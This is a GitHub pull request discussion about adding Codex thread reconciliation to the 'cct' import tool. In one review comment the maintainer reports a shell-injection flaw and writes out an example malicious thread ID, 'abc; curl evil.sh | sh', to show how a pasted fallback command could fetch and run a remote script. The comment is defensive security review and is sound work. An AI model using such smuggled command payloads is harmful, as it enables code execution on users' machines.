Skip to content

Add post-import Codex thread reconciliation#9

Draft
4Born wants to merge 1 commit into
ahmojo:Mainfrom
4Born:fix/codex-post-import-reconcile
Draft

Add post-import Codex thread reconciliation#9
4Born wants to merge 1 commit into
ahmojo:Mainfrom
4Born:fix/codex-post-import-reconcile

Conversation

@4Born

@4Born 4Born commented Jul 23, 2026

Copy link
Copy Markdown

Summary

  • add opt-in cct import --reconcile support across CLI, terminal UI, JSON output, and browser UI
  • ask a short-lived native Codex app-server to discover imported rollout thread IDs through thread/read, then verify them through thread/list
  • capability-probe state-DB-only listing and safely fall back to Codex's scan-and-repair listing when unsupported
  • document compatibility, safety boundaries, fallback guidance, and the observed discovery behavior

Why

A valid imported rollout can be present on disk while remaining absent from Codex Desktop's normal recent-thread list. Codex can find the rollout by ID, and a native thread/read causes Codex itself to reconcile the thread into its state database. This change exposes that native repair path without cct writing Codex SQLite or session_index.jsonl directly.

User impact

Native Codex imports may opt in with --reconcile to make changed threads discoverable immediately. Reconciliation is best-effort: protocol, startup, or verification failures do not invalidate the completed file import and instead report restart and cct resume <thread-id> --run fallbacks.

Validation

  • go fmt ./...
  • git diff --check
  • go build ./...
  • go vet ./...
  • go test ./...

The tests use synthetic Codex homes and a controlled fake app-server, including the file-present/list-missing regression and the existing no-direct-SQLite-write invariant.

@ahmojo

ahmojo commented Jul 24, 2026

Copy link
Copy Markdown
Owner

Thanks @4Born. One fix before merge ;
internal/codexreconcile takes thread IDs straight from each rollout's
session_meta.id. That field is whatever the bundle author wrote, and nothing
validates it. On a reconcile failure both fallback paths print it, unescaped,
inside a shell command the user is told to copy and paste:

  • internal/cli/render.go, printPostImportReconcile: wraps the id in
    safeTerminal, which strips control bytes but leaves ; | & $().
  • internal/webui/handlers.go, importReconcileFallbacks: no shell escaping,
    and app.js only HTML-escapes it.

A bundle whose session_meta.id is abc; curl evil.sh | sh produces the
suggested line cct resume abc; curl evil.sh | sh --run --codex-home "...".
Whoever pastes it runs the payload, and that branch is the normal path whenever
the codex binary is not on PATH, so it fires in the common case.

Fix: Codex thread IDs are UUIDs, so validate session_meta.id against a UUID
pattern before building the hint and drop the resume line for anything that
does not match (or single-quote the id and home path).

Is this meant for review now, or still WIP? It is a draft, so I held off on a
full pass.

4Born commented Jul 24, 2026

Copy link
Copy Markdown
Author

@ahmojo Thanks for catching this — the PR is still WIP, so holding off on the full review was right. I’ll treat this as a merge blocker.

I’ll validate rollout session_meta.id values as canonical UUIDs before they can enter reconcile/fallback output, suppress the cct resume hint entirely for invalid IDs, safely handle the Codex home argument, and add malicious-ID regression coverage for both the CLI and WebUI paths rather than relying on safeTerminal or HTML escaping.

I’ll keep the PR in Draft and mark it ready for review only after this fix and the full test suite are complete.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants